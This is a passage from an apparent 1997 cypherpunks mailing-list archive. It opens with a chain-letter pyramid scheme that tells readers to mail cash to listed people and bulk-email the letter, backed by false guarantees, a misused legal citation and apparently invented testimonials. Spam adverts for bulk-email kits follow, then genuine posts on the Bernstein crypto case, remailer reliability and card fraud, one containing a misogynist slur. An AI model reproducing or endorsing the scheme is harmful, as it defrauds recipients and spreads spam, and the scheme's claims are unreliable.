 a little time to read it and REALLY THINK ABOUT IT.  Get a pencil and
 figure out what could happen when YOU participate.  Figure out the
 worst possible response and no matter how you calculate it, you will
 still make a lot of money!  Definitely get back what you invested.  Any
 doubts you have will vanish when your first orders come in.  IT WORKS!
 
                          Paul Johnson, Raleigh, NC
 
 HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$$$$$
 
 Let's say that you decide to start small, just to see how it goes, and
 we'll assume you and all those involved send out 2,000 programs each.
 Let's also assume that the mailing receives a .5% response.  Using a
 good list the response could be much better.  Also many people will
 send out hundreds of thousands of programs instead of 2,000.  But
 continuing with this example, you send out only 2,000 programs.  With a
 5% response, that is only 10 orders for REPORT #1.  Those 10 people
 respond by sending out 2,000 programs each for a total of 20,000.  Out
 of those .5%, 100 people respond and order REPORT #2.  Those 100 mail
 out 2,000 programs each for a total of 200,000.  The .5% response to
 that is 1,000 orders for REPORT #3.  Those 1,000 send out 2,000
 programs each for a 2,000,000 total.  The .5% response to that is
 10,000 orders for REPORT #4.  That's 10,000 five dollar bills for you.
 CASH!!!!  Your total income in this example is $50 + $500 + $5000 +
 $50,000 for a total of $55,550!!!!
 
 REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF 2,000 PEOPLE YOU
 MAIL TO WILL DO ABSOLUTELY NOTHING... AND TRASH THIS PROGRAM!
 DARE TO THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE
 OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF ONLY 2,000.  Believe
 me, many people will do that and more!  By the way, your cost to
 participate
 in this is practically nothing.  You obviously already have an Internet
 connection and email is FREE!!!  REPORT #3 will show you the best
 methods for bulk emailing and purchasing email lists.
 
 THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY.  It does not
 require you to come in contact with people, do any hard work, and best
 of all, you never have to leave the house except to get the mail.  If
 you believe that someday you'll get that big break that you've been
 waiting for, THIS IS IT!  Simply follow the instructions, and your
 dream will come true.  This multi-level email order marketing program
 works perfectly...100% EVERY TIME.  Email is the sales tool of the
 future.  Take advantage of this non-commercialized method of
 advertising NOW!!  The longer you wait, the more people will be doing
 business using email.  Get your piece of this action!!
 
 
 INSTRUCTIONS
 
 We at Erris Mail Order Marketing Business, have a method of raising
 capital that REALLY WORKS 100% EVERY TIME.  I am sure that you could
 use $50,000 to $125,000 in the next 20 to 90 days.  Before you say
 "Bull", please read the program carefully.
 
 This is not a chain letter, but a perfectly legal money making
 opportunity.  Basically, this is what we do:  As with all multi-level
 business, we build our business by recruiting new partners and selling
 our products.  Every state in the USA allows you to recruit new multi-
 level business partners, and we offer a product for EVERY dollar sent.
 YOUR ORDERS COME AND ARE FILLED THROUGH THE MAIL, so you are not
 involved in personal selling.  You do it privately in your own home,
 store or office.
 
 This is the GREATEST Multi-level Mail Order Marketing anywhere:
 
 Step (1)   Order all four 4 REPORTS listed by NAME AND NUMBER.  Do this
            by ordering the REPORT from each of the four 4 names listed
            on the next page.  For each REPORT, send $5 CASH and a SELF-
            ADDRESSED, STAMPED envelope  (BUSINESS SIZE #10) to the
            person listed for the SPECIFIC REPORT.  International orders
            should also include $1 extra for postage.  In lieu of sending
            an self addressed, stamped envelope, you may simply include
your 
            email address if you wish to receive your report by email.  
            It is essential that you specify the NAME and NUMBER of the
report 
            requested to the person you are ordering from.  You will need
ALL FOUR
            4 REPORTS because you will be REPRINTING and RESELLING them.
            DO NOT alter the names or sequence other than what the
            instructions say.  IMPORTANT:  Always provide same-day
            service on all orders.
 
 Step (2)   Replace  the  name  and  address  under  REPORT #1  with
            yours,  moving the one that was there down to REPORT #2.
            Drop  the  name and address under REPORT #2 to REPORT #3,
            moving the one that was there to REPORT #4.  The name and
            address that was under REPORT #4 is dropped from the list
            and this party  is  no doubt on the way to the bank.  When
            doing   this,   make   certain   you  type  the  names  and
            addresses ACCURATELY!  DO NOT MIX UP MOVING
            PRODUCT/REPORT POSITIONS!!!
 
 Step (3)   Having made the required changes in the NAME list, save it
            as a text (.txt) file in it's own directory to be used with
            whatever email program you like.  Again, REPORT #3 will tell
            you the best methods of bulk emailing and acquiring email
            lists.
 
 Step (4)   Email a copy of the entire program (all of this is very
            important) to everyone whose address you can get your hands
            on. Start with friends and relatives since you can encourage
            them to take  advantage of this  fabulous  money-making
            opportunity.  That's what I did.  And they love me now, more
            than ever.  Then, email to anyone and everyone!  Use your
            imagination!  You can get email addresses from companies on
            the Internet who specialize in email mailing lists.  These
            are very cheap, 100,000 addresses for around $35.00.
 
 IMPORTANT:  You won't get a good response if you use an old list, so
 always request a FRESH, NEW list. You will find out where to purchase
 these lists when you order the four 4 REPORTS.
 
 ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!
 
 REQUIRED REPORTS
 
 ***Order each REPORT by NUMBER and NAME***
 
 ALWAYS SEND A SELF-ADDRESSED, STAMPED ENVELOPE
 AND $5 CASH FOR EACH ORDER REQUESTING THE
 SPECIFIC REPORT BY NAME AND NUMBER
 
 ________________________________________________________
 REPORT #1
 "HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"
 
 ORDER REPORT #1 FROM:
 
 Fredric Olsson
 Lillgårda Hagestad
 276 45 Löderup
 SWEDEN
 _______________________________________________________
 REPORT #2
 "MAJOR CORPORATIONS AND MULTI-LEVEL SALES"
 
 ORDER REPORT #2 FROM:
 
 Johansen Inc.
 Björkängsvägen 26
 504 78 Sandhult
 SWEDEN
 ________________________________________________________
 REPORT #3
 "SOURCES FOR THE BEST MAILING LISTS"
 
 ORDER REPORT #3 FROM:
 
 A. Valdus 
 Trappv 2
 517 37 Bollebygd
 SWEDEN
 ________________________________________________________
 REPORT #4
 "EVALUATING MULTI-LEVEL SALES PLANS"
 
 ORDER REPORT #4 FROM:

 MAS Enterprises
 509 East Perry Street
 Savannah, Georgia 31401
 
 ________________________________________________________
 
 CONCLUSION
 
 I am enjoying my fortune that I made as I send out this program, hoping
 to give you a chance
 to make this kind of money.  You too, will be making money in 20 to 90
 days, if you follow the
 SIMPLE STEPS outlined in this mailing.
 
 To be financially independent is to be FREE.  Free to make financial
 decisions as never before.  Go into business, get into investments,
 retire or take a vacation.  No longer will a lack of money hold you
 back.
 
 However, very few people reach financial independence, because when
 opportunity knocks, they choose to ignore it.  It is much easier to say
 "NO" than "YES", and this is the question that you must answer.  Will
 YOU ignore this amazing opportunity or will you take advantage of it?
 If you do nothing, you have indeed missed something and nothing will
 change.  Please re-read this material, this is a special opportunity.
 If you have any questions, please feel free to write to the sender of
 this information.  You will get a prompt and informative reply.
 
 My method is simple.  I sell thousands of people a product for $5 that
 costs me pennies to produce and email.  I should also point out that
 this program is legal and everyone who participates WILL make money.
 This is not a chain letter or pyramid scam.  At times you have probably
 received chain letters, asking you to send money, on faith, but getting
 NOTHING in return, NO product what-so-ever!  Not only are chain letters
 illegal, but the risk of someone breaking the chain makes them quite
 unattractive.
 
 You are offering a legitimate product to your people.  They are
 obtaining information that will not only help them with this business 
 venture but others as well.  
 They also are obtaining the rights to reproduce the reports. After they
 purchase the product from you, they reproduce more and resell them.
 It's simple free enterprise.  As you learned from the enclosed material,
 the PRODUCT is a series of four 4 FINANCIAL AND BUSINESS REPORTS.  The
 information contained in these REPORTS will not only help you in making
 your participation in this program more rewarding, but will be useful
 to you in any other business decisions you make in the years ahead.
 You are also buying the rights to reprint all of the REPORTS, which
 will be ordered from you by those to whom you mail this program.  The
 concise one and two page REPORTS you will be buying can easily be
 reproduced at a local copy center for a cost off about 3 cents a copy.
 Best wishes with the program and Good Luck!
 
 
 ------------------------------------Testimonials:--------------------------
---------
 
 "I  had  received  this program before.  I  threw  it away, but later
 wondered if I shouldn't have given it a try.  Of course, I had no idea
 who to contact to get a copy, so I had to wait until I was emailed
 another copy of the program.  Eleven months passed, then it came.  I
 DIDN'T throw this one away.  I made $41,000 on the first try."
 
                          Dawn W., Evansville, IN
 
 "My late father always told me, 'remember, Alan, there is no free lunch
 in life.  You get out of life what you put into it.'  Through trial and
 error and a somewhat slow frustrating start, I finally figured it out.
 The program works very well, I just had to find the right target group
 of people to email it to.  So far this year, I have made over $63,000
 using this program.  I know my dad would have been very proud of me."
 
                          Alan B., Philadelphia, PA
 
 "Not being the gambling type, it took me several weeks to make up my
 mind to participate in this program.  But conservative as I am, I
 decided that the initial investment was so little that there was no way
 that I could not get enough orders to at least get my money back.  BOY,
 was I ever surprised when I found my medium sized post office box
 crammed with orders!  I will make more money this year than any ten
 years of my life before."
 
                          Mary Riceland, Lansing, MI
 
 ---------------------------------------------------------------------------

 
 TIPS FOR SUCCESS
 
 Send for your four 4 REPORTS immediately so you will have them when the
 orders start coming in.  When you receive a $5 order, you MUST send out
 the product/service to comply with US Postal and Lottery laws.  Title
 18 Sections 1302 and 1341 specifically state that:  "A PRODUCT OR
 SERVICE MUST BE EXCHANGED FOR MONEY RECEIVED."
 
 WHILE YOU WAIT FOR THE REPORTS TO ARRIVE:
 
 1.   Name your new company. You can use your own name if you desire.
 
 2.   Get a post office box (preferred).
 
 3.   Edit the names and addresses on the program. You must remember,
         your name and address go next to REPORT #1 and the others all
         move down one, with the fourth one being bumped OFF the list.
 
 4.   Obtain as many email addresses as possible to send until you
         receive the information on mailing list companies in REPORT #3.
         (It is a good idea to purchase bulk email lists, which generally
         cost around $35.00 for 100,000 names.  Or you can start out the
         way I did, simply mailing out a few hundred to acquaintances
         and people who post to newsgroups.)
 
 5.   Decide on the number of programs you intend to send out.  The
         more you send, and the quicker you send them, the more money
         you will make.
 
 6.   After mailing the programs, get ready to fill the orders.
 
 7.   Copy the four 4 REPORTS so you are able to sent them out as
         soon as you receive an order. IMPORTANT: ALWAYS PROVIDE
         SAME-DAY SERVICE ON ORDERS YOU RECEIVE!
 
 8.   Make certain the letter and reports are neat and legible.
 
 ---------------------------------------------------------------------------









---------------------------------
 
 YOUR GUARANTEE
 
 The check point which GUARANTEES your success is simply this:  you must
 receive 15 to 20 orders for REPORT #1.  This is a must!!!  If you don't
 within two weeks, email out more programs until you do.  Then a couple
 of weeks later you should receive at least 100 orders for REPORT #2, if
 you don't, send out more programs until you do.  Once you have received
 100 or more orders for REPORT #2, (take a deep breath) you can sit back
 and  relax,  because  YOU  ARE  GOING TO  MAKE  AT  LEAST  $50,000.
 Mathematically  it  is  a  proven  guarantee.   Of  those  who  have
 participated in the program and reached the above GUARANTEES-ALL have
 reached their $50,000 goal.  Also, remember, every time your name is
 moved down the list you are in front of a different REPORT, so you can
 keep track of your program by knowing what people are ordering from you.
 IT'S THAT EASY, REALLY, IT IS!!!
 
 REMEMBER:
 
 "HE WHO DARES NOTHING, NEED NOT HOPE FOR ANYTHING."
 "INVEST A LITTLE TIME, ENERGY AND MONEY NOW OR
 SEARCH FOR IT FOR THE REST OF YOUR LIFE."
 
----------------------------------------------------------------------------

SVENSKAR, LÄS!!!

Skicka 40 SKR (2x20) istället för 5dollarsedlar för enkelhetens skull. 
Vem vill gå och växla 10000 femdollar sedlar???
Glöm inte e-mail adressen i brevet med sedlarna så du får dina reports!
Ha ett bra liv!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 00896450@hyperway.com
Date: Wed, 20 Aug 1997 05:30:53 -0700 (PDT)
To: pete@morenet.net
Subject: ADULT VIDEOS
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


Explicit straight, gay and lesbian videos.

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*********************************************************************

To be removed from our mailing lists, please send any message
to: simrem@answerme.com
Thank you

*********************************************************************





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 55632950@compuserve.com
Date: Sun, 24 Aug 1997 04:59:47 -0700 (PDT)
To: members@aol.com
Subject: Want To Make Money On The Net But Dont Know How?
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


********************************************************************************************
Do not hit reply to respond or to be removed it will not work. To be removed 
hit the remove link at the bottom of the page and we will gladly remove you 
*******************************************************************************************

Dont wonder any longer with the Internet Secrets Manual we will teach you how to 
make lots of money on the Internet. 

 Inside Internet Secrets You will learn how the Internet works, Where to go to get free 
advertising from over 1,000 free sources to advertise, How to choose winning products, 
What software you will need and where to get the tools you will need to make you 
successful.

While teaching you the truth about Newsgroups, Classifieds and Bulk E-Mailing.  After 
reading Internet Secrets you will be able to begin making money immediately and to help
 you.

We are including as a free bonus, the worlds greatest bulk E-mailing software ever written
 a $399 value and 1,000,000 E-mail addresses for you to begin making money today in 
your new business venture.

All this for only $39.95 + $4 Shipping and Handling

To receive your copy please fill out the order form enclosed with Credit Card Information
 or mail in check or money order to: 

Mitchell Enterprises
4020 Chicago Ave. Suite 130
Riverside CA 92501

CREDIT CARD ORDERS  ORDER FORM


Shipping Options (X one):  Priority($4)_______  Overnight($15)__________ 


Grand Total Of this order:_______________


Bank Name _______________________________________________


Credit Card Type: _________________Visa, Master Card and Discover.


Credit Card Number ________________________________________


EXP. Date: _____________________


Address (Where Bill Goes To):  We Can only ship to this address, for your protection

____________________________________________________________________


Grand Total to be charged: $________________________

                                      
Thank You for Your order, 




All credit card orders are processed by DIMS and are immediately shipped by your
 choice of shipping.  Personal and Business checks are held for 7 business days 
and then shipped by your choice of shipping.  International Checks must be held
 10 business days.  Money orders and Cashiers Checks mailed in will be shipped
 immediately. Please US funds only.


"mailto:removeme@dicp.com"









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ynter@spica.net
Date: Sun, 24 Aug 1997 21:01:31 -0700 (PDT)
To: Friend@public.com
Subject: START YOUR OWN BUSINESS...
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


                 UNLIMITED REVENUE WITH OUR SOFTWARE
   OVER 3000 PEOPLES LIKE YOU ALREADY MAKE A NICE LIVING
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, 
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Just send any message to: <ynter1@answerme.com>
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ynter@spica.net
Date: Mon, 25 Aug 1997 12:53:29 -0700 (PDT)
To: Friend@public.com
Subject: GET THE MOST FROM OUR SOFTWARE....
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 18205549@aol.com
Date: Mon, 25 Aug 1997 12:57:59 -0700 (PDT)
To: Friend@public.com
Subject: Do You Like What You See In The Mirror ?
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Andrew@mail.demon.net
Date: Mon, 25 Aug 1997 16:53:04 -0700 (PDT)
To: Friend@public.com
Subject: Economics Quest
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


Hi, My name is Andrew, I'm 15, I live in the UK and I'm studing economics
at standard grade level. Can you please spare a few minutes of your valuable
time to answer my questionaire @ 
http://www.alexanderhomes.demon.co.uk/economics/personal.html
I have constructed it as part of my standard grade course work, so I'm relying on
your co-operation! ;-)

thanks in advance
Andrew




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Wed, 27 Aug 1997 15:24:39 -0700 (PDT)
To: cypherpunks-announce
Subject: Govt seeking emergency stay in Bernstein case
Message-ID: <199708272224.PAA09094@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Date: Wed, 27 Aug 1997 13:43:36 -0700
From: Cindy Cohn <Cindy@mcglashan.com>

Hi all,

Just talked to Mr. Coppolino at the Justice Department.  They are filing ex
parte emergency stay papers tonight or tomorrow morning to try to stay the
impact of Judge Patel's ruling pending appeal.  He'll be faxing me the
documents when they are ready.  He said yesterday that they would seek to
stay the "export" of crypto source code, although not the teaching or
discussion (whatever that means).

Cindy
************************ 
Cindy A. Cohn                                                               
McGlashan & Sarrail, P. C.
177 Bovet Road, 6th Floor                                            
San Mateo, CA  94402
(415) 341-2585 (tel)
(415)341-1395 (fax)
Cindy@McGlashan.com
http://www.McGlashan.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: que11331236@compuserve.com
Date: Fri, 29 Aug 1997 16:26:27 -0700 (PDT)
To: Friend@public.com
Subject: Financial Relief
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


To no longer recieve mailings from our service send a
blank e-mail to mailto:removereq@answerme.com
----------------------------------------------------------------
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Mon, 1 Sep 1997 04:50:01 +0800
To: A Hoier <ahoier@juno.com>
Subject: Re: PGP Signatures
In-Reply-To: <19970831.135647.9558.12.ahoier@juno.com>
Message-ID: <Pine.LNX.3.93.970901022644.110A-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Sun, 31 Aug 1997, A Hoier wrote:

> [...] I'm a begginer to 
> Cryptography and when I heard about it sounded like a cool subject

[...]

Dose Cypherpunks have an FAQ?  and dose it need one?

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBNAmbhaQK0ynCmdStAQHvKAP/fQfnREZ78OlwwwzwwqS/BfOtZYTQECm0
fAqZwIqHBSZIpNbQTzZJrk+T3+MBXtyZuccOo+KAItPvu5aIq1TnUU2rPtNdi7l3
e/drtXORKfssqTxpPuxCZWnO3wkHK8mmdbarevgb/FecAmcmsnyqaCye+Te0LT5m
0Fv3pR3n7wc=
=Tzai
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 1 Sep 1997 09:27:57 +0800
To: cypherpunks@toad.com
Subject: "Smack" the lawyer of your choice...but smack!
Message-ID: <199709010106.DAA22158@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



GEORGE D. HARDY
Assistant U.S. Attorney

     4.   I  have  been  advised  by  the  Federal  Bureau  of
Investigation that the public release of the identity of the two
victims could cause serious financial and security difficulties for
the victims.  Until now, the victims have been identified only to
the defense, as part of the criminal discovery in the case.

  Silly me, I thought the people who had their credit card information
exposed were the victims.

     5.   The  difficulties  facing  these  victims  include  the
probability that additional hackers will seek to challenge these
computer systems,  once the defendant's successful efforts are
revealed; and the loss of business due to the perception by others
                  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
that computer systems may be vulnerable.
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

  Uh... Excuse me, Dude, but I believe that's how life works. Unless,
of course, the government steps in to cover up the facts to the benefit
of rich corporations and to the detriment of their gullible customers.

     8.   The defendant's counsel was contacted regarding this
motion.  She expressed a willingness to agree to it, but only if
the  government  agreed to  limit  in some way the  government's
appropriate public release of the defendant's guilty pleas as a
deterrent to others.   Such an arrangement was not acceptable to
the government.  Defendant's counsel therefore indicated that she
would like to file an opposition to this motion; but would agree
that pending the resolution of this issue, that the identities of
the victims could be protected.

  The cunt sold her client down the river for a good tee time with
the prosecutor at a private golf course. Put her in charge of
defending Terry McNicols.

"Smak" delivered an encrypted CD containing over 100,000 stolen 
credit card numbers. After the validity of the credit card information
was confirmed through decryption of the data on the CD, "Smak" was 
taken into custody by the FBI. 

  And the 100,000 people were immediately notified that their credit
cards had been compromised? I fucking doubt it. Better to screw over
100,000 citizen-units than expose the incompetence of a few companies
and the government's fight against strong encryption and computer
security.

ShitMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ahoier@juno.com (CYPHER ? PUNK)
Date: Mon, 1 Sep 1997 16:06:00 +0800
To: cypherpunks@toad.com
Subject: I NEED SPAM!!!!!  IT GIVES ME ENERGY!!!!!
In-Reply-To: <19970831.135647.9558.12.ahoier@juno.com>
Message-ID: <19970901.034852.3638.18.ahoier@juno.com>
MIME-Version: 1.0
Content-Type: text/plain



Could Someone on this list e-mail me some SPAM to ahoier@juno.com ASAP Im
looosiiing poooooooooowwerrr!!!!!!!


ME!!!!!!!!!!!!
>-----BEGIN PGP SIGNATURE-----
>Version: PGP for Personal Privacy 5.0
>MessageID: HyRMcbGm8DN7BxUVL/6EunpyDLmTX8Wj
>
>iQA/AwUBNAneIl7MfpC8gEO7EQIOIgCeM6giFdXXS1Idut3q941mSEEc8CAAoITk
>142XgrvDAUe3CMwH4jTRiJZi
>=jvrj
>-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Harry Regan" <geezbox@hotmail.com>
Date: Mon, 1 Sep 1997 19:45:20 +0800
To: cypherpunks@toad.com
Subject: Information
Message-ID: <19970901113516.25236.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



Information, please!

______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <remailer@bureau42.ml.org>
Date: Mon, 1 Sep 1997 20:30:05 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <cJ7vHp9OYe6SZxEVBEbNlQ==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



Rabid Wombat wrote:
> 
> On Mon, 1 Sep 1997, Anonymous wrote:
> 
> > "Smak" delivered an encrypted CD containing over 100,000 stolen
> > credit card numbers. After the validity of the credit card information
> > was confirmed through decryption of the data on the CD, "Smak" was
> > taken into custody by the FBI.
> >
> >   And the 100,000 people were immediately notified that their credit
> > cards had been compromised? I fucking doubt it. Better to screw over
> > 100,000 citizen-units than expose the incompetence of a few companies
> > and the government's fight against strong encryption and computer
> > security.
> 
> I was recently notified by a bank that issued one of my credit cards that
> my card number had been sold, along with thousands of other account
> numbers, to an undercover FBI agent. The bank canceled my account, opened
> a new one, and overnighted a replacement card. No big deal, and no loss
> to me.
> 
> OTOH, it *might* have been in response to a different incident. Keep
> those paranoid rants coming.

  Why don't you tell us the name of the company that has such lousy
computer security that your credit was placed in jepoardy, so that we
can decide if we want to avoid doing business with them?

RantMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 1 Sep 1997 22:04:15 +0800
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199709011350.GAA06757@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord ?";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"cracker"} = "<remailer@anon.efga.org> cpunk mix remix pgp hash ksub esub latent cut ek reord post";
$remailer{'redneck'} = '<config@anon.efga.org> newnym pgp';
$remailer{"bureau42"} = "<remailer@bureau42.ml.org> cpunk mix pgp ksub hash latent cut ek";
$remailer{"neva"} = "<remailer@neva.org> cpunk pgp pgponly hash cut ksub ?";
$remailer{"lcs"} = "<mix@anon.lcs.mit.edu> mix";
$remailer{"medusa"} = "<medusa@weasel.owl.de> mix middle"
$remailer{"McCain"} = "<mccain@notatla.demon.co.uk> mix middle";
$remailer{"valdeez"} = "<valdeez@juno.com> cpunk pgp pgponly hash ek";
$remailer{"arrid"} = "<arrid@juno.com> cpunk pgp pgponly hash ek";
$remailer{"hera"} = "<goddesshera@juno.com> cpunk pgp pgponly hash ek";
$remailer{"htuttle"} = "<h_tuttle@rigel.cyberpass.net> cpunk pgp hash latent cut post ek";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix reno winsock)
(weasel squirrel medusa)
(cracker redneck)
(nym lcs)
(valdeez arrid hera)

The remailer list here has been out of date for some time, but should
be up to date now. I'm still working on updating the web page.

Last update: Mon 1 Sep 97 6:49:30 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
mix      mixmaster@remail.obscura.com     +++++++**+*+    18:43  99.99%
weasel   config@weasel.owl.de             --+++-++++-   1:36:13  99.95%
bureau42 remailer@bureau42.ml.org         -------..---  5:27:26  99.94%
nym      config@nym.alias.net             +#+###* ####     1:28  99.82%
cyber    alias@alias.cyberpass.net        +**++* *+***    11:22  99.68%
winsock  winsock@rigel.cyberpass.net      ---+..-----   6:54:29  99.64%
neva     remailer@neva.org                ** +#*+-+*#+    17:59  99.55%
squirrel mix@squirrel.owl.de              ------_----   3:56:24  99.35%
reno     middleman@cyberpass.net          + +- -+++..+  4:18:57  99.02%
hera     goddesshera@juno.com             ---.-------   8:07:05  98.39%
arrid    arrid@juno.com                   ----+ --- -   5:23:18  96.51%
redneck  config@anon.efga.org             #*#+*#*    -    36:25  95.93%
cracker  remailer@anon.efga.org           ++++++++        38:21  90.88%
jam      remailer@cypherpunks.ca          ++++++++        51:19  88.75%
replay   remailer@replay.com               +**    +***    11:21  88.18%
valdeez  valdeez@juno.com                 --------      7:02:22  63.69%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 1 Sep 1997 21:41:57 +0800
To: cypherpunks@toad.com
Subject: Carding
In-Reply-To: <cJ7vHp9OYe6SZxEVBEbNlQ==@bureau42.ml.org>
Message-ID: <aHTcce6w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



> > > "Smak" delivered an encrypted CD containing over 100,000 stolen
> > > credit card numbers. After the validity of the credit card information
> > > was confirmed through decryption of the data on the CD, "Smak" was
> > > taken into custody by the FBI.
> > >
> > >   And the 100,000 people were immediately notified that their credit
> > > cards had been compromised? I fucking doubt it. Better to screw over
> > > 100,000 citizen-units than expose the incompetence of a few companies
> > > and the government's fight against strong encryption and computer
> > > security.
> >
> > I was recently notified by a bank that issued one of my credit cards that
> > my card number had been sold, along with thousands of other account
> > numbers, to an undercover FBI agent. The bank canceled my account, opened
> > a new one, and overnighted a replacement card. No big deal, and no loss
> > to me.
> >
> > OTOH, it *might* have been in response to a different incident. Keep
> > those paranoid rants coming.
>
>   Why don't you tell us the name of the company that has such lousy
> computer security that your credit was placed in jepoardy, so that we
> can decide if we want to avoid doing business with them?

Waitaminute.

If your credit card number is stolen and misused, and you follow the
procedures, your credit is not affected.

The financial institutions eat the losses from fraud (humongous), then
pass them on cardholders and merchants.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave K-P <k.p@snet.net>
